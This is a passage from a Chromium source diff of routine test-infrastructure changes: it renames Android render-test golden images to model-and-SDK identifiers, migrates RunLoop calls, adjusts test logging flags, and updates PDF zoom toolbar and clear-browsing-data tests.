      * src/build/android/pylib/local/device/local_device_instrumentation_test_run.py.
      */
     private static String imageName(String testClass, String variantPrefix, String desc) {
-        DisplayMetrics metrics = Resources.getSystem().getDisplayMetrics();
-        String orientation = metrics.widthPixels > metrics.heightPixels ? "land" : "port";
-
         if (!TextUtils.isEmpty(variantPrefix)) {
             desc = variantPrefix + "-" + desc;
         }
 
-        return String.format(
-                "%s.%s.%s.%s.png", testClass, desc, Build.MODEL.replace(' ', '_'), orientation);
+        return String.format("%s.%s.%s.png", testClass, desc, modelSdkIdentifier());
+    }
+
+    /**
+     * Returns a string encoding the device model and sdk. It is used to identify device goldens.
+     */
+    private static String modelSdkIdentifier() {
+        return Build.MODEL.replace(' ', '_') + "-" + Build.VERSION.SDK_INT;
     }
 
     /**
diff --git a/chrome/test/base/in_process_browser_test.h b/chrome/test/base/in_process_browser_test.h
index 5a59a27..9926d53 100644
--- a/chrome/test/base/in_process_browser_test.h
+++ b/chrome/test/base/in_process_browser_test.h
@@ -10,6 +10,7 @@
 #include "base/compiler_specific.h"
 #include "base/files/scoped_temp_dir.h"
 #include "base/memory/ref_counted.h"
+#include "base/run_loop.h"
 #include "base/test/scoped_feature_list.h"
 #include "build/build_config.h"
 #include "content/public/browser/web_contents.h"
@@ -55,8 +56,8 @@
 //   state changes you'll need to run the message loop from your test method.
 //   For example, if you need to wait till a find bar has completely been shown
 //   you'll need to invoke content::RunMessageLoop(). When the message bar is
-//   shown, invoke MessageLoop::current()->QuitWhenIdle() to return control back
-//   to your test method.
+//   shown, invoke RunLoop::QuitCurrentWhenIdleDeprecated() to return control
+//   back to your test method.
 // . If you subclass and override SetUp(), be sure and invoke
 //   InProcessBrowserTest::SetUp(). (But see also BrowserTestBase's
 //   SetUpOnMainThread(), SetUpInProcessBrowserTestFixture(), and other related
diff --git a/chrome/test/base/test_launcher_utils.cc b/chrome/test/base/test_launcher_utils.cc
index ea6d614..0ae1e70 100644
--- a/chrome/test/base/test_launcher_utils.cc
+++ b/chrome/test/base/test_launcher_utils.cc
@@ -33,12 +33,14 @@
   // default browser) that could conflicts with some tests expectations.
   command_line->AppendSwitch(switches::kNoDefaultBrowserCheck);
 
-  // Enable info level logging to stderr by default so that we can see when
-  // bad stuff happens, but honor the flags specified from the command line.
+  // Enable info level logging to stderr by default so that we can see when bad
+  // stuff happens, but honor the flags specified from the command line. Use the
+  // default logging level (INFO) instead of explicitly passing
+  // switches::kLoggingLevel. Passing the switch explicitly resulted in data
+  // races in tests that start async operations (that use logging) prior to
+  // initializing the browser: https://crbug.com/749066.
   if (!command_line->HasSwitch(switches::kEnableLogging))
     command_line->AppendSwitchASCII(switches::kEnableLogging, "stderr");
-  if (!command_line->HasSwitch(switches::kLoggingLevel))
-    command_line->AppendSwitchASCII(switches::kLoggingLevel, "0");  // info
 
   // Disable safebrowsing autoupdate.
   command_line->AppendSwitch(safe_browsing::switches::kSbDisableAutoUpdate);
diff --git a/chrome/test/base/testing_browser_process.cc b/chrome/test/base/testing_browser_process.cc
index dcf0f6c2..8d617004 100644
--- a/chrome/test/base/testing_browser_process.cc
+++ b/chrome/test/base/testing_browser_process.cc
@@ -102,6 +102,13 @@
 void TestingBrowserProcess::ResourceDispatcherHostCreated() {
 }
 
+void TestingBrowserProcess::FlushLocalStateAndReply(base::OnceClosure reply) {
+  // This could be implemented the same way as in BrowserProcessImpl but it's
+  // not currently expected to be used by TestingBrowserProcess users so we
+  // don't bother.
+  CHECK(false);
+}
+
 void TestingBrowserProcess::EndSession() {
 }
 
diff --git a/chrome/test/base/testing_browser_process.h b/chrome/test/base/testing_browser_process.h
index a146833f..53c2b06 100644
--- a/chrome/test/base/testing_browser_process.h
+++ b/chrome/test/base/testing_browser_process.h
@@ -63,6 +63,7 @@
   // BrowserProcess overrides:
   void ResourceDispatcherHostCreated() override;
   void EndSession() override;
+  void FlushLocalStateAndReply(base::OnceClosure reply) override;
   metrics_services_manager::MetricsServicesManager* GetMetricsServicesManager()
       override;
   metrics::MetricsService* metrics_service() override;
diff --git a/chrome/test/base/testing_profile.cc b/chrome/test/base/testing_profile.cc
index fb15631..714a235 100644
--- a/chrome/test/base/testing_profile.cc
+++ b/chrome/test/base/testing_profile.cc
@@ -161,7 +161,7 @@
   }
 
   void DoneRunOnMainThread() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/chrome/test/chromedriver/chrome/web_view_impl.cc b/chrome/test/chromedriver/chrome/web_view_impl.cc
index 4ecadf92..f7281649 100644
--- a/chrome/test/chromedriver/chrome/web_view_impl.cc
+++ b/chrome/test/chromedriver/chrome/web_view_impl.cc
@@ -422,7 +422,6 @@
     }
     params.SetString("text", it->modified_text);
     params.SetString("unmodifiedText", it->unmodified_text);
-    params.SetInteger("nativeVirtualKeyCode", it->key_code);
     params.SetInteger("windowsVirtualKeyCode", it->key_code);
     ui::DomCode dom_code = ui::UsLayoutKeyboardCodeToDomCode(it->key_code);
     std::string code = ui::KeycodeConverter::DomCodeToCodeString(dom_code);
diff --git a/chrome/test/chromedriver/net/websocket_unittest.cc b/chrome/test/chromedriver/net/websocket_unittest.cc
index 2eefde45..352a89f8 100644
--- a/chrome/test/chromedriver/net/websocket_unittest.cc
+++ b/chrome/test/chromedriver/net/websocket_unittest.cc
@@ -49,7 +49,7 @@
     EXPECT_EQ(messages_[0], message);
     messages_.erase(messages_.begin());
     if (messages_.empty())
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void OnClose() override { EXPECT_TRUE(false); }
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.download_snippet_placeholder.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.download_snippet_placeholder.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.download_snippet_placeholder.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.download_snippet_placeholder.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.download_snippet_placeholder.Nexus_5X.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.download_snippet_placeholder.Nexus_5X.port.png
deleted file mode 100644
index 3c598c9..0000000
--- a/chrome/test/data/android/render_tests/ArticleSnippetsTest.download_snippet_placeholder.Nexus_5X.port.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.download_snippet_thumbnail.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.download_snippet_thumbnail.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.download_snippet_thumbnail.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.download_snippet_thumbnail.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.download_snippet_thumbnail.Nexus_5X.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.download_snippet_thumbnail.Nexus_5X.port.png
deleted file mode 100644
index 511a2f0..0000000
--- a/chrome/test/data/android/render_tests/ArticleSnippetsTest.download_snippet_thumbnail.Nexus_5X.port.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.long_minimal_snippet_narrow.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.long_minimal_snippet_narrow.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.long_minimal_snippet_narrow.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.long_minimal_snippet_narrow.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.long_minimal_snippet_narrow.Nexus_5X.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.long_minimal_snippet_narrow.Nexus_5X.port.png
deleted file mode 100644
index 9c114de1..0000000
--- a/chrome/test/data/android/render_tests/ArticleSnippetsTest.long_minimal_snippet_narrow.Nexus_5X.port.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.long_snippet.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.long_snippet.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.long_snippet.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.long_snippet.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.long_snippet.Nexus_5X.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.long_snippet.Nexus_5X.port.png
deleted file mode 100644
index d29fe37..0000000
--- a/chrome/test/data/android/render_tests/ArticleSnippetsTest.long_snippet.Nexus_5X.port.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.long_snippet_narrow.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.long_snippet_narrow.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.long_snippet_narrow.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.long_snippet_narrow.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.long_snippet_narrow.Nexus_5X.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.long_snippet_narrow.Nexus_5X.port.png
deleted file mode 100644
index e9d72c85..0000000
--- a/chrome/test/data/android/render_tests/ArticleSnippetsTest.long_snippet_narrow.Nexus_5X.port.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.minimal_snippet.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.minimal_snippet.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.minimal_snippet.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.minimal_snippet.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.minimal_snippet.Nexus_5X.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.minimal_snippet.Nexus_5X.port.png
deleted file mode 100644
index 6fc16371..0000000
--- a/chrome/test/data/android/render_tests/ArticleSnippetsTest.minimal_snippet.Nexus_5X.port.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-long_minimal_snippet_narrow.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-long_minimal_snippet_narrow.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-long_minimal_snippet_narrow.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-long_minimal_snippet_narrow.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-long_snippet.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-long_snippet.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-long_snippet.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-long_snippet.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-long_snippet_narrow.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-long_snippet_narrow.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-long_snippet_narrow.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-long_snippet_narrow.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-minimal_snippet.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-minimal_snippet.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-minimal_snippet.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-minimal_snippet.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-short_minimal_snippet_narrow.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-short_minimal_snippet_narrow.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-short_minimal_snippet_narrow.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-short_minimal_snippet_narrow.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-short_snippet.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-short_snippet.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-short_snippet.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-short_snippet.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-short_snippet_narrow.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-short_snippet_narrow.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-short_snippet_narrow.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-short_snippet_narrow.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-snippets.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-snippets.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-snippets.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-snippets.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-snippets_narrow.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-snippets_narrow.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-snippets_narrow.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.modern-snippets_narrow.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.short_minimal_snippet_narrow.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.short_minimal_snippet_narrow.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.short_minimal_snippet_narrow.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.short_minimal_snippet_narrow.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.short_minimal_snippet_narrow.Nexus_5X.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.short_minimal_snippet_narrow.Nexus_5X.port.png
deleted file mode 100644
index df9a0a1..0000000
--- a/chrome/test/data/android/render_tests/ArticleSnippetsTest.short_minimal_snippet_narrow.Nexus_5X.port.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.short_snippet.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.short_snippet.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.short_snippet.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.short_snippet.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.short_snippet.Nexus_5X.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.short_snippet.Nexus_5X.port.png
deleted file mode 100644
index b6fb6c2..0000000
--- a/chrome/test/data/android/render_tests/ArticleSnippetsTest.short_snippet.Nexus_5X.port.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.short_snippet_narrow.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.short_snippet_narrow.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.short_snippet_narrow.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.short_snippet_narrow.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.short_snippet_narrow.Nexus_5X.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.short_snippet_narrow.Nexus_5X.port.png
deleted file mode 100644
index 5baa346..0000000
--- a/chrome/test/data/android/render_tests/ArticleSnippetsTest.short_snippet_narrow.Nexus_5X.port.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.snippets.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.snippets.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.snippets.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.snippets.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.snippets.Nexus_5X.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.snippets.Nexus_5X.port.png
deleted file mode 100644
index 92eb06e..0000000
--- a/chrome/test/data/android/render_tests/ArticleSnippetsTest.snippets.Nexus_5X.port.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.snippets_narrow.Nexus_5.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.snippets_narrow.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/ArticleSnippetsTest.snippets_narrow.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/ArticleSnippetsTest.snippets_narrow.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/ArticleSnippetsTest.snippets_narrow.Nexus_5X.port.png b/chrome/test/data/android/render_tests/ArticleSnippetsTest.snippets_narrow.Nexus_5X.port.png
deleted file mode 100644
index 6adf4dc0..0000000
--- a/chrome/test/data/android/render_tests/ArticleSnippetsTest.snippets_narrow.Nexus_5X.port.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/NewTabPageTest.fakebox.Nexus_5.port.png b/chrome/test/data/android/render_tests/NewTabPageTest.fakebox.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/NewTabPageTest.fakebox.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/NewTabPageTest.fakebox.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/NewTabPageTest.fakebox.Nexus_5X.port.png b/chrome/test/data/android/render_tests/NewTabPageTest.fakebox.Nexus_5X.port.png
deleted file mode 100644
index a13f36fe..0000000
--- a/chrome/test/data/android/render_tests/NewTabPageTest.fakebox.Nexus_5X.port.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/NewTabPageTest.most_visited.Nexus_5.port.png b/chrome/test/data/android/render_tests/NewTabPageTest.most_visited.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/NewTabPageTest.most_visited.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/NewTabPageTest.most_visited.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/NewTabPageTest.most_visited.Nexus_5X.port.png b/chrome/test/data/android/render_tests/NewTabPageTest.most_visited.Nexus_5X.port.png
deleted file mode 100644
index 72715b5..0000000
--- a/chrome/test/data/android/render_tests/NewTabPageTest.most_visited.Nexus_5X.port.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/NewTabPageTest.new_tab_page.Nexus_5.port.png b/chrome/test/data/android/render_tests/NewTabPageTest.new_tab_page.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/NewTabPageTest.new_tab_page.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/NewTabPageTest.new_tab_page.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/NewTabPageTest.new_tab_page.Nexus_5X.port.png b/chrome/test/data/android/render_tests/NewTabPageTest.new_tab_page.Nexus_5X.port.png
deleted file mode 100644
index 8f46fb7..0000000
--- a/chrome/test/data/android/render_tests/NewTabPageTest.new_tab_page.Nexus_5X.port.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/NewTabPageTest.new_tab_page_scrolled.Nexus_5.port.png b/chrome/test/data/android/render_tests/NewTabPageTest.new_tab_page_scrolled.Nexus_5-19.png
similarity index 100%
rename from chrome/test/data/android/render_tests/NewTabPageTest.new_tab_page_scrolled.Nexus_5.port.png
rename to chrome/test/data/android/render_tests/NewTabPageTest.new_tab_page_scrolled.Nexus_5-19.png
Binary files differ
diff --git a/chrome/test/data/android/render_tests/NewTabPageTest.new_tab_page_scrolled.Nexus_5X.port.png b/chrome/test/data/android/render_tests/NewTabPageTest.new_tab_page_scrolled.Nexus_5X.port.png
deleted file mode 100644
index 8edc5ca6..0000000
--- a/chrome/test/data/android/render_tests/NewTabPageTest.new_tab_page_scrolled.Nexus_5X.port.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/VrShellTest.blank_page.Nexus_5.land.png b/chrome/test/data/android/render_tests/VrShellTest.blank_page.Nexus_5.land.png
deleted file mode 100644
index 9d2e641..0000000
--- a/chrome/test/data/android/render_tests/VrShellTest.blank_page.Nexus_5.land.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/VrShellTest.blank_page.Nexus_6P.land.png b/chrome/test/data/android/render_tests/VrShellTest.blank_page.Nexus_6P.land.png
deleted file mode 100644
index 10366f8b..0000000
--- a/chrome/test/data/android/render_tests/VrShellTest.blank_page.Nexus_6P.land.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/android/render_tests/VrShellTest.vr_entered.Nexus_6P.land.png b/chrome/test/data/android/render_tests/VrShellTest.vr_entered.Nexus_6P.land.png
deleted file mode 100644
index a72cee1..0000000
--- a/chrome/test/data/android/render_tests/VrShellTest.vr_entered.Nexus_6P.land.png
+++ /dev/null
Binary files differ
diff --git a/chrome/test/data/pdf/material_elements_test.js b/chrome/test/data/pdf/material_elements_test.js
index bad24228..6e3010a 100644
--- a/chrome/test/data/pdf/material_elements_test.js
+++ b/chrome/test/data/pdf/material_elements_test.js
@@ -178,18 +178,73 @@
     // Tap 3: Fire fit-to-page again.
     MockInteractions.tap(fab);
     assertEvent('fit-to-page');
+    chrome.test.assertTrue(fab.icon.endsWith(fitWidthIcon));
 
     // Do the same as above, but with fitToggleFromHotKey().
     zoomToolbar.fitToggleFromHotKey();
     assertEvent('fit-to-width');
+    chrome.test.assertTrue(fab.icon.endsWith(fitPageIcon));
     zoomToolbar.fitToggleFromHotKey();
     assertEvent('fit-to-page');
+    chrome.test.assertTrue(fab.icon.endsWith(fitWidthIcon));
     zoomToolbar.fitToggleFromHotKey();
     assertEvent('fit-to-width');
+    chrome.test.assertTrue(fab.icon.endsWith(fitPageIcon));
 
     // Tap 4: Fire fit-to-page again.
     MockInteractions.tap(fab);
     assertEvent('fit-to-page');
+    chrome.test.assertTrue(fab.icon.endsWith(fitWidthIcon));
+
+    chrome.test.succeed();
+  },
+
+  function testZoomToolbarForceFitToPage() {
+    var zoomToolbar = Polymer.Base.create('viewer-zoom-toolbar', {});
+    var fitButton = zoomToolbar.$['fit-button'];
+    var fab = fitButton.$['button'];
+
+    var fitWidthIcon = 'fullscreen';
+    var fitPageIcon = 'fullscreen-exit';
+
+    var lastEvent = null;
+    var logEvent = function(e) {
+      lastEvent = e.type;
+    }
+    var assertEvent = function(type) {
+      chrome.test.assertEq(type, lastEvent);
+      lastEvent = null;
+    }
+    zoomToolbar.addEventListener('fit-to-width', logEvent);
+    zoomToolbar.addEventListener('fit-to-page', logEvent);
+
+    // Initial: Show fit-to-page.
+    chrome.test.assertTrue(fab.icon.endsWith(fitPageIcon));
+
+    // Test forceFitToPage() from initial state.
+    zoomToolbar.forceFitToPage();
+    assertEvent('fit-to-page');
+    chrome.test.assertTrue(fab.icon.endsWith(fitWidthIcon));
+
+    // Tap 1: Fire fit-to-width.
+    MockInteractions.tap(fab);
+    assertEvent('fit-to-width');
+    chrome.test.assertTrue(fab.icon.endsWith(fitPageIcon));
+
+    // Test forceFitToPage() from fit-to-width mode.
+    zoomToolbar.forceFitToPage();
+    assertEvent('fit-to-page');
+    chrome.test.assertTrue(fab.icon.endsWith(fitWidthIcon));
+
+    // Test forceFitToPage() when already in fit-to-page mode.
+    zoomToolbar.forceFitToPage();
+    assertEvent('fit-to-page');
+    chrome.test.assertTrue(fab.icon.endsWith(fitWidthIcon));
+
+    // Tap 2: Fire fit-to-width.
+    MockInteractions.tap(fab);
+    assertEvent('fit-to-width');
+    chrome.test.assertTrue(fab.icon.endsWith(fitPageIcon));
 
     chrome.test.succeed();
   }
diff --git a/chrome/test/data/policy/policy_test_cases.json b/chrome/test/data/policy/policy_test_cases.json
index feb4b4bb..9230d3d2 100644
--- a/chrome/test/data/policy/policy_test_cases.json
+++ b/chrome/test/data/policy/policy_test_cases.json
@@ -14,7 +14,7 @@
         "check_for_recommended": "Should the preference be tested when a recommended value is set for the policy? Defaults to |true| if not specified.",
         "note": "When |can_be_recommended| is |false|, the policy is never set to a recommended value so |check_for_recommended| has no effect.",
         "note": "The following entries should be specified if controlled setting indicators exist for |pref| in the settings UI.",
-        "indicator_test_url": "The URL to navigate to in order to test the indicators. Defaults to |chrome://settings-frame/| if not specified.",
+        "indicator_test_url": "The URL to navigate to in order to test the indicators. Defaults to |chrome://extensions-frame/| if not specified.",
         "indicator_test_setup_js": "Any JavaScript that should be executed before testing the indicators. This should be specified only if an explicit user action must be simulated (e.g. clicking a button).",
         "indicator_selector": "A CSS selector that locates all controlled setting indicators for |pref|. This is appended to the selector 'span.controlled-setting-indicator' and if not specified, defaults to '[pref=(the value of |pref|)', e.g. '[pref=homepage]'.",
         "note": "Any number of test cases may be specified in the following array.",
diff --git a/chrome/test/data/webui/BUILD.gn b/chrome/test/data/webui/BUILD.gn
index 9661fd7..1de35e3 100644
--- a/chrome/test/data/webui/BUILD.gn
+++ b/chrome/test/data/webui/BUILD.gn
@@ -42,7 +42,6 @@
     "../../../browser/ui/webui/extensions/extension_settings_browsertest.js",
     "../../../browser/ui/webui/identity_internals_ui_browsertest.js",
     "../../../browser/ui/webui/sync_internals_browsertest.js",
-    "../../../browser/ui/webui/sync_setup_browsertest.js",
     "../chromeos/oobe_webui_browsertest.js",
     "about_invalidations_browsertest.js",
     "accessibility_audit_browsertest.js",
diff --git a/chrome/test/data/webui/settings/privacy_page_test.js b/chrome/test/data/webui/settings/privacy_page_test.js
index 3af6cd7a..cdd9786 100644
--- a/chrome/test/data/webui/settings/privacy_page_test.js
+++ b/chrome/test/data/webui/settings/privacy_page_test.js
@@ -36,8 +36,9 @@
     },
 
     /** @override */
-    clearBrowsingData: function(importantSites) {
-      this.methodCalled('clearBrowsingData', importantSites);
+    clearBrowsingData: function(dataTypes, timePeriod, importantSites) {
+      this.methodCalled(
+          'clearBrowsingData', [dataTypes, timePeriod, importantSites]);
       cr.webUIListenerCallback('browsing-data-removing', true);
       return this.clearBrowsingDataPromise_ !== null ?
           this.clearBrowsingDataPromise_ : Promise.resolve();
@@ -61,6 +62,30 @@
     },
   };
 
+  function getClearBrowsingDataPrefs() {
+    return {
+      browser: {
+        clear_data: {
+          time_period: {
+            key: 'browser.clear_data.time_period',
+            type: chrome.settingsPrivate.PrefType.NUMBER,
+            value: 0,
+          },
+          browsing_history: {
+            key: 'browser.clear_data.browsing_history',
+            type: chrome.settingsPrivate.PrefType.BOOLEAN,
+            value: false,
+          },
+          cookies: {
+            key: 'browser.clear_data.cookies',
+            type: chrome.settingsPrivate.PrefType.BOOLEAN,
+            value: false,
+          }
+        }
+      }
+    };
+  };
+
   function registerNativeCertificateManagerTests() {
     suite('NativeCertificateManager', function() {
       /** @type {settings.TestPrivacyPageBrowserProxy} */
@@ -128,6 +153,7 @@
         settings.ClearBrowsingDataBrowserProxyImpl.instance_ = testBrowserProxy;
         PolymerTest.clearBody();
         element = document.createElement('settings-clear-browsing-data-dialog');
+        element.set('prefs', getClearBrowsingDataPrefs());
         document.body.appendChild(element);
         return testBrowserProxy.whenCalled('initialize');
       });
@@ -154,7 +180,8 @@
         MockInteractions.tap(actionButton);
 
         return testBrowserProxy.whenCalled('clearBrowsingData')
-            .then(function(importantSites) {
+            .then(function([dataTypes, timePeriod, importantSites]) {
+              assertEquals(0, dataTypes.length);
               assertTrue(element.$$('#clearBrowsingDataDialog').open);
               assertTrue(cancelButton.disabled);
               assertTrue(actionButton.disabled);
@@ -228,19 +255,6 @@
       test('Counters', function() {
         assertTrue(element.$$('#clearBrowsingDataDialog').open);
 
-        // Initialize the browsing history pref, which should belong to the
-        // first checkbox in the dialog.
-        element.set('prefs', {
-          browser: {
-            clear_data: {
-              browsing_history: {
-                key: 'browser.clear_data.browsing_history',
-                type: chrome.settingsPrivate.PrefType.BOOLEAN,
-                value: true,
-              }
-            }
-          }
-        });
         var checkbox = element.$$('settings-checkbox');
